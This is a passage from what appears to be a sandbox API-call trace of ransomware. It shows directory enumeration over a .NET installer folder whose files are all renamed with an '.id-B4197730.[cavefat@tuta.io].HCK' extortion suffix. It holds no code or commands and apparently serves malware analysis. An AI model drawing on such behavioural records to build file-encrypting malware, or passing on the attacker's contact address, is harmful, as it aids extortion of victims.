ftCreationTime.dwLowDateTime=0xa33bb578, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33bb578, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33bb578, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x15ad2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="DisplayIcon.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DISPLA~1.HCK")) returned 1 [0224.492] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Extended", cAlternateFileName="")) returned 1 [0224.492] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.492] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573668 [0224.493] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf378ed8a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf378ed8a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.493] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38c7842, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38c7842, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38c7842, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x16d86, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARAME~1.HCK")) returned 1 [0224.493] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 1 [0224.493] FindNextFileW (in: hFindFile=0x573668, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9978, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="UIINFO~1.HCK")) returned 0 [0224.493] FindClose (in: hFindFile=0x573668 | out: hFindFile=0x573668) returned 1 [0224.493] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.493] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Graphics", cAlternateFileName="")) returned 1 [0224.493] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.493] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573528 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf36f6419, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf371c69a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf371c69a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33bb578, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33bb578, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PRINTI~1.HCK")) returned 1 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33e185d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33e185d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa33e185d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~1.HCK")) returned 1 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa33e185d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa33e185d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3728c15, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~2.HCK")) returned 1 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3407aeb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3407aeb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3407aeb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~3.HCK")) returned 1 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3407aeb, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3407aeb, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3407aeb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROTATE~4.HCK")) returned 1 [0224.494] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa342dc57, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa342dc57, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa342dc57, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RO6692~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa342dc57, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa342dc57, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa342dc57, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROC6E3~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa342dc57, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa342dc57, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa37b8a7f, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RO0881~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34a0371, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34a0371, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34c6682, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="ROD86C~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34c6682, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34c6682, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34c6682, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x564, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SAVEIC~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34c6682, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34c6682, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34ecb52, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x9056, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPI~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa34ecb52, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa34ecb52, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa34ecb52, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="STOPIC~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa382ef79, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa382ef79, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38552cb, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SYSREQ~2.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35ab447, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35ab447, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35ab447, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x574, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqNotMet.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SYSREQ~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35ab447, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35ab447, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35d1744, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WARNIC~1.HCK")) returned 1 [0224.495] FindNextFileW (in: hFindFile=0x573528, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa35ab447, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa35ab447, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa35d1744, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2884, dwReserved0=0x0, dwReserved1=0x0, cFileName="warn.ico.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="WARNIC~1.HCK")) returned 0 [0224.495] FindClose (in: hFindFile=0x573528 | out: hFindFile=0x573528) returned 1 [0224.496] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa38edc3b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa38edc3b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa38edc3b, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="HEADER~1.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa4beb692, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xadd3953, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core.mzz.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~1.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xa3fb35d2, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x290310, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~2.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa37ca28d, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa37ca28d, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3aa25f9, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x11c108, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Core_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~3.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x29e23d7, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended.mzz.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NETFX_~4.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3f40f52, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3f40f52, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3f671d5, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xd5110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NEF7FE~1.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa404bcff, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa404bcff, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4072062, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x79110, dwReserved0=0x0, dwReserved1=0x240000, cFileName="netfx_Extended_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="NE261F~1.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3b60fdd, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3b60fdd, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b60fdd, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x427a6, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ParameterInfo.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="PARAME~1.HCK")) returned 1 [0224.496] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa409846f, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa409846f, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa449e285, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x2d304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9RAST_x64.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RGB9RA~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa49af27f, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa49af27f, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4a2189f, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17304, dwReserved0=0x0, dwReserved1=0x240000, cFileName="RGB9Rast_x86.msi.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="RGB9RA~2.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4916907, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4916907, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4962d60, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13236, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Setup.exe.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPE~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4962d60, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4962d60, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4e27866, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xc5252, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupEngine.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPE~2.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4a47cae, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4a47cae, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4a6de92, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4824a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPU~2.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3b872ad, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3b872ad, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3b872ad, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x769a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUi.xsd.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPU~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4a6de92, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4a6de92, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4f0c730, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17854, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SetupUtility.exe.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPU~3.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa3bad51b, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa3bad51b, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa3fb35d2, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xa174, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SplashScreen.bmp.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SPLASH~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa4beb692, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa4beb692, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa4beb692, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x23518, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sqmapi.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SQMAPI~1.HCK")) returned 1 [0224.497] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x80, 